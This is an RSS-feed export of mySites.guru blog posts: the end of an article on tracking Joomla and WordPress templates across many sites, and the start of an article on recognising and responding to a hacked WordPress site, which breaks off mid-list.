&lt;li&gt;&lt;strong&gt;Template name&lt;/strong&gt; - Type &quot;Astroid&quot; to see every site using an Astroid-based template, or &quot;Cassiopeia&quot; to find sites still on the Joomla default&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP version&lt;/strong&gt; - Filter by PHP version to cross-reference template compatibility&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Platform&lt;/strong&gt; - Filter by Joomla or WordPress to see only one CMS type&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The search is an exact-match filter, so it narrows results as you type. If you need to find all sites running a particular template, you can type the template name and see the filtered list in under a second.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;The template data is updated every 12 hours by the automated snapshot, or whenever you manually trigger a snapshot from the Manage Site page. If you have just changed a template on a site, run a snapshot to update the data in mySites.guru before checking the list.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Exporting to CSV&lt;/h3&gt;
&lt;p&gt;Next to the search box is an &lt;strong&gt;Export CSV&lt;/strong&gt; button. One click and you get a downloadable CSV file containing:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Column&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;site_url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The full URL of the site&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;site_version&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The CMS version (e.g., 5.3.1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;site_platform&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The platform type (Joomla or WordPress)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;theme_name&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The active template or theme name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;theme_version&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The template or theme version number&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;theme_author&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The developer or company name&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This CSV is ready to drop into a spreadsheet, import into a project management tool, or attach to a client report. For agencies that need to document their infrastructure for compliance or handover purposes, this single export replaces hours of manual data gathering.&lt;/p&gt;
&lt;p&gt;You can also incorporate this data into your &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; for a polished, professional deliverable.&lt;/p&gt;
&lt;h2&gt;How Do You Spot Sites on Default or Legacy Joomla Templates?&lt;/h2&gt;
&lt;p&gt;One of the most common template management tasks is identifying sites that are still running a default CMS template. In Joomla, that means Cassiopeia (Joomla 4 and 5) or Protostar (Joomla 3). These templates are functional but generic, and for most professional sites they should have been replaced with something purpose-built long ago.&lt;/p&gt;
&lt;p&gt;mySites.guru includes an automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; check specifically for this. The &quot;Default Template Used&quot; check flags any site where the active template is one of Joomla&apos;s built-in defaults. It appears as an issue in the site&apos;s snapshot results, with a clear recommendation to switch to a custom template.&lt;/p&gt;
&lt;p&gt;This check runs automatically every 12 hours alongside the other 140+ snapshot checks. You do not need to remember to look for it - the system surfaces it for you.&lt;/p&gt;
&lt;h3&gt;Why default templates are worth flagging&lt;/h3&gt;
&lt;p&gt;Default templates are not necessarily insecure, but they do create several practical problems:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Recognition&lt;/strong&gt; - Visitors and search engines associate default templates with unfinished or unmaintained sites. It does not inspire confidence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature limitations&lt;/strong&gt; - Default templates lack the layout options, performance optimisations, and customisation hooks that commercial template frameworks provide.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Upgrade risk&lt;/strong&gt; - When Joomla releases a new major version, the default template often changes entirely. Sites still on the old default face a harder migration path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Client perception&lt;/strong&gt; - If you are managing sites for clients, a default template suggests the project was not completed properly. It reflects on your agency&apos;s work.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The template list tool makes it trivial to scan for default templates across your entire portfolio. Type &quot;Cassiopeia&quot; in the search box, and every site still running it appears immediately. From there, you can prioritise which ones to migrate first.&lt;/p&gt;
&lt;h2&gt;How Do You Manage Joomla Templates During CMS Migrations?&lt;/h2&gt;
&lt;p&gt;Major CMS upgrades are when template management gets genuinely complicated. Joomla 3 to Joomla 4 required a complete template change for most sites - the old template system was fundamentally different. Joomla 4 to Joomla 5 was smoother, but template compatibility still needed verifying. And now with Joomla 6 on the horizon, the cycle is about to repeat.&lt;/p&gt;
&lt;p&gt;During these transitions, the template list tool becomes your progress tracker.&lt;/p&gt;
&lt;h3&gt;Before the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open the Active Theme and Template List and export the CSV - this is your baseline&lt;/li&gt;
&lt;li&gt;Filter by the old platform version to see which sites still need upgrading&lt;/li&gt;
&lt;li&gt;Note which templates are in use and check with each template developer for compatibility with the new CMS version&lt;/li&gt;
&lt;li&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tool&lt;/a&gt; to check for template framework updates that add compatibility&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;During the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;After upgrading each site, run a manual snapshot to refresh the template data&lt;/li&gt;
&lt;li&gt;Check the template list to confirm the new template is active and the version number is correct&lt;/li&gt;
&lt;li&gt;Use the search box to filter for the old template name - any remaining results are sites that still need attention&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;After the migration&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Export a fresh CSV as your post-migration baseline&lt;/li&gt;
&lt;li&gt;Compare it against the pre-migration export to verify every site was updated&lt;/li&gt;
&lt;li&gt;Archive both CSVs for your records&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This structured approach prevents the most common migration mistake: thinking you have finished when there are still a handful of sites left on the old template. The template list gives you an objective answer instead of relying on your memory of which sites you have already touched.&lt;/p&gt;
&lt;h2&gt;Using the template list for security response&lt;/h2&gt;
&lt;p&gt;When a template vulnerability is disclosed, response time is everything. The template list tool gives you the fastest possible path from &quot;there is a vulnerability&quot; to &quot;these are the sites I need to patch.&quot;&lt;/p&gt;
&lt;h3&gt;The workflow for a template security event&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Identify the affected template&lt;/strong&gt; - Check the vulnerability disclosure for the template name and affected versions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search the template list&lt;/strong&gt; - Type the template name in the search box to see every site in your portfolio using it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check versions&lt;/strong&gt; - The Theme Version column tells you immediately which sites are running a vulnerable version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prioritise and act&lt;/strong&gt; - Start with the most critical or publicly visible sites, then work through the rest&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Push the update&lt;/strong&gt; - If the template developer has released a patch, use the &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass package installer&lt;/a&gt; to push it to all affected sites at once&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify&lt;/strong&gt; - Run snapshots on the updated sites and check the template list again to confirm the new version is showing&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This entire process takes minutes, not hours. Compare that to logging into each admin panel individually, navigating to the template manager, checking the version, downloading the update, installing it, and moving on to the next site. At scale, the time savings are enormous.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The recent Astroid Framework vulnerability (CVE-2026-21628) affected every version before 3.3.11. Agencies using mySites.guru could identify all affected sites in seconds using the template list and extension search, then push the update to all of them at once using the mass package installer.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;We covered the Astroid vulnerability in detail when it dropped. If you want to hear about security issues like these as they happen, &lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;subscribe to the newsletter&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts directly in your dashboard.&lt;/p&gt;
&lt;h2&gt;Does the Template List Cover WordPress Themes?&lt;/h2&gt;
&lt;p&gt;While this article focuses on Joomla - because Joomla template management across large portfolios is a particularly underserved need - the template list tool covers WordPress sites equally well.&lt;/p&gt;
&lt;p&gt;WordPress themes appear in the same table with the same columns: theme name, version, and author. The CSV export includes a &lt;code&gt;site_platform&lt;/code&gt; column so you can distinguish between Joomla templates and WordPress themes when processing the data.&lt;/p&gt;
&lt;p&gt;This is especially useful for agencies that manage a mixed portfolio of Joomla and WordPress sites. Instead of checking two different systems or maintaining separate inventories, everything is in one place. The &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;mySites.guru dashboard&lt;/a&gt; was built for exactly this kind of cross-platform visibility.&lt;/p&gt;
&lt;p&gt;For WordPress specifically, the same default theme warning applies. Sites running Twenty Twenty-Five (or any of the annual default themes) are flagged by the snapshot, just as Joomla sites running Cassiopeia are flagged.&lt;/p&gt;
&lt;h2&gt;Integrating template data into your workflow&lt;/h2&gt;
&lt;p&gt;The template list connects to other parts of mySites.guru that help you act on the information.&lt;/p&gt;
&lt;h3&gt;Combined with extensions management&lt;/h3&gt;
&lt;p&gt;Templates do not exist in isolation. A Joomla template built on the &lt;a href=&quot;https://astroidframe.work/&quot;&gt;Astroid Framework&lt;/a&gt; depends on that framework being installed and up to date. A template built on the Helix3 or T4 framework has the same dependency.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions management tool&lt;/a&gt; lets you search for these frameworks by name and see every site that has them installed, along with the version number. Cross-referencing this with the template list gives you a complete picture: which template is active, and which underlying framework it depends on.&lt;/p&gt;
&lt;p&gt;This is how you spot a site that has been upgraded to a new template but still has the old template&apos;s framework installed and potentially vulnerable. The template list shows the active template; the extensions list shows everything installed, whether active or not.&lt;/p&gt;
&lt;h3&gt;Combined with site information&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; provides the broader context for each site: PHP version, CMS version, server environment, SSL status, and more. When you spot a site on an old template version in the template list, you can check the site information to understand why - maybe it is running an older PHP version that cannot support the latest template release, or the CMS version has not been updated either.&lt;/p&gt;
&lt;h3&gt;Combined with client reports&lt;/h3&gt;
&lt;p&gt;If you send regular reports to clients, the template data feeds into the information available for your &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label reports&lt;/a&gt;. You can document exactly which template is in use, confirm it is up to date, and demonstrate that you are actively managing the site&apos;s infrastructure - not just keeping the content fresh.&lt;/p&gt;
&lt;h3&gt;Combined with the snapshot&lt;/h3&gt;
&lt;p&gt;Every template data point in the list comes from the automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;. The snapshot runs 140+ checks across every connected site, twice a day. The template list is just one view of that data. Other snapshot checks that relate to templates include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Whether the site is using a default template (flagged as an issue)&lt;/li&gt;
&lt;li&gt;Whether the &lt;code&gt;robots.txt&lt;/code&gt; file is blocking the &lt;code&gt;/templates/&lt;/code&gt; or &lt;code&gt;/media/&lt;/code&gt; directories from search engines (which prevents Google from accessing CSS and images)&lt;/li&gt;
&lt;li&gt;The overall configuration health of the site, which can be affected by template settings&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Real-world scenarios&lt;/h2&gt;
&lt;h3&gt;Scenario 1: Template framework update across 80 sites&lt;/h3&gt;
&lt;p&gt;You receive an email from a template developer announcing a new version with a security patch. You need to know which sites are running that template and which version they are on.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the template list in mySites.guru&lt;/li&gt;
&lt;li&gt;Type the template name in the search box&lt;/li&gt;
&lt;li&gt;The filtered list shows 23 of your 80 sites are using that template&lt;/li&gt;
&lt;li&gt;The Theme Version column shows 19 are on the old version, 4 have already been updated&lt;/li&gt;
&lt;li&gt;Click Export CSV to document the current state&lt;/li&gt;
&lt;li&gt;Use the mass package installer to push the update to the 19 remaining sites&lt;/li&gt;
&lt;li&gt;Run snapshots and check the template list again - all 23 now show the new version&lt;/li&gt;
&lt;li&gt;Export another CSV for your records&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Total time: about 10 minutes. Without mySites.guru, that same task would involve logging into 80 admin panels just to identify the 23 affected sites, before you even start updating.&lt;/p&gt;
&lt;h3&gt;Scenario 2: Client portfolio handover&lt;/h3&gt;
&lt;p&gt;You are taking over management of 35 Joomla sites from another agency. You need to document exactly what is deployed on each site.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect all 35 sites to your mySites.guru account&lt;/li&gt;
&lt;li&gt;Wait for the initial snapshots to complete (or trigger them manually)&lt;/li&gt;
&lt;li&gt;Open the template list and export the CSV&lt;/li&gt;
&lt;li&gt;Open the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions list&lt;/a&gt; and note the template frameworks in use&lt;/li&gt;
&lt;li&gt;Cross-reference with the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; for PHP versions and CMS versions&lt;/li&gt;
&lt;li&gt;Attach all three exports to your handover documentation&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You now have a complete, accurate inventory without having logged into a single admin panel.&lt;/p&gt;
&lt;h3&gt;Scenario 3: Standardising templates after acquisition&lt;/h3&gt;
&lt;p&gt;Your agency has acquired a smaller agency, and you want to standardise all sites onto your preferred template framework. You need to know what is currently in use across both portfolios.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect the acquired agency&apos;s sites to your mySites.guru account (there is &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;no limit on the number of sites&lt;/a&gt; you can add)&lt;/li&gt;
&lt;li&gt;Open the template list and search for your preferred template framework - these sites are already standardised&lt;/li&gt;
&lt;li&gt;Search for other template names to identify the ones that need migrating&lt;/li&gt;
&lt;li&gt;Export the CSV and sort by template name to group the migration work&lt;/li&gt;
&lt;li&gt;Work through the list site by site, updating the template list as you go&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The template list becomes your migration project tracker. As each site is migrated, it moves from the &quot;old template&quot; search results to the &quot;new template&quot; search results.&lt;/p&gt;
&lt;h2&gt;How Is the Data Collected?&lt;/h2&gt;
&lt;p&gt;The template data comes from the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, which runs automatically twice daily on every connected site. The snapshot is fast - it completes in milliseconds - and collects over 140 data points about each site&apos;s configuration.&lt;/p&gt;
&lt;p&gt;For Joomla sites, the snapshot reads the active template assignment from the site&apos;s configuration. It captures the template name, version number, and author as reported by the template&apos;s manifest file.&lt;/p&gt;
&lt;p&gt;For WordPress sites, the snapshot reads the active theme information from the WordPress database, capturing the same data points: theme name, version, and author.&lt;/p&gt;
&lt;p&gt;This data is stored in mySites.guru and made available through the template list tool, the CSV export, and the individual site management pages. It is refreshed every 12 hours automatically, or immediately when you trigger a manual snapshot.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;The snapshot is distinct from the full audit. The snapshot checks configuration and settings in milliseconds. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;audit&lt;/a&gt; inspects every file and line of code on the webspace, so it takes longer but catches things like malware in template files.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Are Common Joomla Template Management Mistakes?&lt;/h2&gt;
&lt;p&gt;Managing templates across a large portfolio is straightforward when you have the right tooling. Without it, these mistakes happen regularly:&lt;/p&gt;
&lt;h3&gt;Not tracking template versions&lt;/h3&gt;
&lt;p&gt;Installing a template and never checking whether the developer has released updates is surprisingly common. Template updates contain bug fixes, performance improvements, and - critically - security patches. The template list makes version tracking automatic rather than something you have to remember to do.&lt;/p&gt;
&lt;h3&gt;Leaving old templates installed&lt;/h3&gt;
&lt;p&gt;After migrating a site to a new template, the old template often remains installed. It is not active, so it does not affect the front end, but the files are still on the server. If those files contain a vulnerability, they can still be exploited. The template list shows the active template; the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions management tool&lt;/a&gt; shows all installed templates, including inactive ones.&lt;/p&gt;
&lt;h3&gt;Assuming all sites use the same template&lt;/h3&gt;
&lt;p&gt;In a large portfolio, it is easy to assume consistency where there is none. A site might have been set up by a different team member, or a client might have changed their template without telling you. The template list provides the ground truth, replacing assumptions with data.&lt;/p&gt;
&lt;h3&gt;Not documenting template choices&lt;/h3&gt;
&lt;p&gt;When a team member leaves, their knowledge of which templates are deployed where goes with them. The CSV export from the template list creates an instant, accurate record that does not depend on any individual&apos;s memory.&lt;/p&gt;
&lt;h3&gt;Ignoring the default template warning&lt;/h3&gt;
&lt;p&gt;The snapshot check for default templates is there for a reason. Default templates are fine for development and testing, but they should not be running on production client sites. If the warning keeps appearing and you keep ignoring it, you are accepting unnecessary risk and presenting an unprofessional appearance to your clients&apos; visitors.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you already have a mySites.guru account with connected sites, the template list is available right now in your Tools section. The data populates automatically from your latest snapshots - there is nothing extra to configure or enable.&lt;/p&gt;
&lt;p&gt;If you do not have an account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up on the pricing page&lt;/a&gt; and start connecting your Joomla and WordPress sites. The snapshot runs on each site as it is connected, and the template data appears in the list as soon as the snapshot completes. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; at a flat monthly rate - there is no per-site charge, so you can add your entire portfolio without worrying about costs scaling with your business.&lt;/p&gt;
&lt;p&gt;For a broader look at everything mySites.guru offers beyond template management, check out the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt; or read about the &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;full dashboard experience&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Administrators/Template_Management&quot;&gt;Joomla Template Management Portal&lt;/a&gt; - Official Joomla documentation covering the template manager, assignments, and core template workflows&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sucuri.net/guides/joomla-security/&quot;&gt;Sucuri Joomla Security Guide&lt;/a&gt; - Security hardening guide covering vulnerability protection and access control for Joomla deployments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://watchful.net/how-to/joomla-template-security/&quot;&gt;8 Tips to Improve Joomla Template Security&lt;/a&gt; - Practical template-specific security hardening including file permissions, directory listing prevention, and file change monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Template management is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>templates</category><category>themes</category><category>joomla</category><category>manage multiple sites</category><category>security</category><enclosure url="https://mysites.guru/_astro/how-to-compare-joomla-templates-across-sites.CM7oGx38.webp" length="0" type="image/webp"/></item><item><title>Is My WordPress Site Hacked? How to Check and What to Do Next</title><link>https://mysites.guru/blog/is-my-wordpress-site-hacked/</link><guid isPermaLink="true">https://mysites.guru/blog/is-my-wordpress-site-hacked/</guid><description>Think your WordPress site has been hacked? Here are the signs to look for, how to confirm it, and what to do in the first 24 hours to contain the damage.</description><pubDate>Thu, 12 Mar 2026 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Something is off with your WordPress site. Maybe it&apos;s redirecting to a casino. Maybe Google is showing a &quot;This site may be hacked&quot; warning. Maybe your hosting provider just sent you a threatening email about malware.&lt;/p&gt;
&lt;p&gt;Before you panic, you need to figure out what&apos;s actually happening. Not every weird behaviour means you&apos;ve been hacked, but ignoring real signs can turn a small problem into a total mess.&lt;/p&gt;
&lt;h2&gt;Hack or false alarm?&lt;/h2&gt;
&lt;p&gt;Some symptoms point to a hack. Others are just a broken plugin or a hosting hiccup. Knowing the difference saves you hours chasing the wrong problem.&lt;/p&gt;
&lt;h3&gt;Strong indicators of a hack&lt;/h3&gt;
&lt;p&gt;These almost always mean someone has tampered with your site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unexpected redirects&lt;/strong&gt; - Your site sends visitors (or just mobile visitors, or just Google visitors) to spam, pharmacy, or gambling sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New admin users you didn&apos;t create&lt;/strong&gt; - Check Users &amp;gt; All Users for accounts you don&apos;t recognise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modified core files&lt;/strong&gt; - WordPress core files (wp-includes, wp-admin) have been changed from their original versions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Safe Browsing warnings&lt;/strong&gt; - Google shows &quot;This site may harm your computer&quot; in search results&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strange files in unexpected places&lt;/strong&gt; - PHP files in your uploads folder, files with random names in wp-content, or hidden files starting with a dot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO spam injection&lt;/strong&gt; - Your site shows pharmaceutical or gambling content to search engines but looks normal to you&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hosting provider notifications&lt;/strong&gt; - Your host detected malware or suspended your account&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Things that look like a hack but usually aren&apos;t&lt;/h3&gt;
&lt;p&gt;These cause confusion but typically have innocent explanations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site is slow or down&lt;/strong&gt; - More likely a hosting issue, bad plugin, or traffic spike&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin panel looks different&lt;/strong&gt; - A plugin or theme update changed the UI&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Emails going to spam&lt;/strong&gt; - Usually a &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;DNS/SPF/DKIM configuration problem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;404 errors on pages&lt;/strong&gt; - Broken permalinks after a migration or plugin conflict&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;White screen of death&lt;/strong&gt; - Almost always a PHP error from a plugin or theme conflict&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Your host emailed you about malware&lt;/strong&gt; - Sometimes a real detection, sometimes the host&apos;s scanner getting it wrong. &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;OVH flagged a legitimate plugin file as malware&lt;/a&gt; and blocked whole hosting plans over it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How to confirm a WordPress hack in 5 minutes&lt;/h2&gt;
&lt;p&gt;Don&apos;t guess. Check.&lt;/p&gt;
&lt;h3&gt;Step 1: Scan your files&lt;/h3&gt;
&lt;p&gt;The fastest way to confirm a hack is to scan every file on your server against known malware patterns. Surface-level scanners that only check a few pages miss most infections - you need file-level scanning.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;mySites.guru&apos;s malware scanner&lt;/a&gt; checks every file in your webspace against 2,000+ regex patterns and 14,000+ known-bad file hashes. The two detect different things, and &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;knowing whether a flag is a confirmed hack or just a pattern match&lt;/a&gt; saves you chasing false alarms. Most scanners only check what your site outputs to a browser. This one reads the actual files on disk, which is where the malware lives.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;run a free audit&lt;/a&gt; with no credit card required.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;The mySites.guru suspect content tool clearly shows hacked files, and patterns that match our suspect content rules&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3&gt;Step 2: Check your admin users&lt;/h3&gt;
&lt;p&gt;Log into WordPress and go to &lt;strong&gt;Users &amp;gt; All Users&lt;/strong&gt;. Sort by role and look for any Administrator accounts you don&apos;t recognise. Hackers often create backdoor admin accounts with innocent-sounding names.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&apos;s snapshot&lt;/a&gt; makes this easier. Every site audit shows exactly how many super users exist, how many lack two-factor authentication, and flags any accounts that look suspicious - across all your sites at once, without logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you can&apos;t log in at all, that&apos;s another strong indicator - the attacker may have changed your password or locked you out.&lt;/p&gt;
&lt;h3&gt;Step 3: Check Google&apos;s view of your site&lt;/h3&gt;
&lt;p&gt;Search Google for &lt;code&gt;site:yourdomain.com&lt;/code&gt; and scan the results. If you see pages about pharmaceuticals, gambling, or products you don&apos;t sell, your site has been injected with SEO spam. This type of hack is invisible to you when you visit the site normally because the malware only shows the spam content to search engine crawlers.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;A real example of a hacked site - Google is indexing gambling spam pages under a legitimate food business domain&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3&gt;Step 4: Review recently modified files&lt;/h3&gt;
&lt;p&gt;Check which files on your server were modified recently. If core WordPress files or files in wp-content have modification dates that don&apos;t match your last update, something changed them.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru audit&lt;/a&gt; includes a full set of file and folder diagnostic tools that automate this work. It flags files modified in the last three days, finds hidden files and folders, locates archive files left behind by attackers, spots PHP files in directories where they shouldn&apos;t exist, identifies renamed files (like file.old or file.bak) that hackers use to stash backdoors, and checks for files that existed in a previous audit but were modified since. Each finding has an &quot;Investigate&quot; button that lets you drill straight into the file.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;/p&gt;
&lt;figcaption&gt;The mySites.guru audit includes over 20 file and folder checks - recently modified files, hidden folders, dangerous permissions, archive files, and more&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; flags files that contain suspicious code patterns - things like base64-encoded payloads, eval() calls processing external input, or obfuscated function names designed to avoid detection.&lt;/p&gt;
&lt;h2&gt;What should you do in the first 24 hours?&lt;/h2&gt;
&lt;p&gt;If your scan confirms a hack, move fast. The longer malware stays on your site, the more damage it does to your search rankings and reputation.&lt;/p&gt;
&lt;h3&gt;1. Change every password&lt;/h3&gt;
&lt;p&gt;Right now. All of them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress admin password&lt;/li&gt;
&lt;li&gt;FTP/SFTP credentials&lt;/li&gt;
&lt;li&gt;Database password (update wp-config.php to match)&lt;/li&gt;
&lt;li&gt;Hosting control panel password&lt;/li&gt;
&lt;li&gt;Any API keys stored in wp-config.php&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; means you don&apos;t need to remember passwords for every site - but the attacker might have your old credentials, so change them all regardless.&lt;/p&gt;
&lt;h3&gt;2. Document what you find&lt;/h3&gt;
